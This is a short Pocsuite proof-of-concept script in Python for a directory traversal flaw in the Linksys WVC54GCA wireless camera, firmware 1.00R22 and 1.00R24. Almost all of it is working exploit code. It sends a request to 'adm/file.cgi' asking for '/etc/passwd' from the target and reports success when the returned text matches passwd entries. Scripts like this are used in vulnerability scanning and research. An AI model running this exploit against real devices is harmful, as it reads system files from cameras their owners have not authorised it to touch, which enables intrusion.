Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities

                                                #!/usr/bin/env python
# -*- coding:utf-8 -*-
import re
from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register


class Linksys_WVC54GCA_Directory_Traversal(POCBase):
    vulID = '86215'
    version = '1'
    vulDate = '2009-04-23'
    author = 'anonymous'
    createDate = '2015-11-05'
    updateDate = '2015-11-05'
    references = ['http://www.sebug.net/vuldb/ssvid-86215   ']
    name = 'Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G 'adm/file.cgi' Directory Traversal Vulnerabilities'
    appPowerLink = ''
    appName = 'Linksys WVC54GCA Camera'
    appVersion = 'firmware 1.00R22 and 1.00R24'
    vulType = 'Directory Traversal'
    desc = 'Linksys WVC54GCA 1.00R22/1.00R24 Wireless-G 'adm/file.cgi' Directory Traversal Vulnerabilities'
    samples = []


    def _attack(self):
        return self._verify()


    def _verify(self, verify=True):
        result = {}
        payload = '/adm/file.cgi?todo=pwnage&this_file=/etc/passwd '
        vul_url = '%s' % self.url
        response = req.get(vul_url + payload).content

        if re.search('root(:([0-9a-zA-Z\/\*\-\s]*)){6}', response):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)


    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output

register(Linksys_WVC54GCA_Directory_Traversal)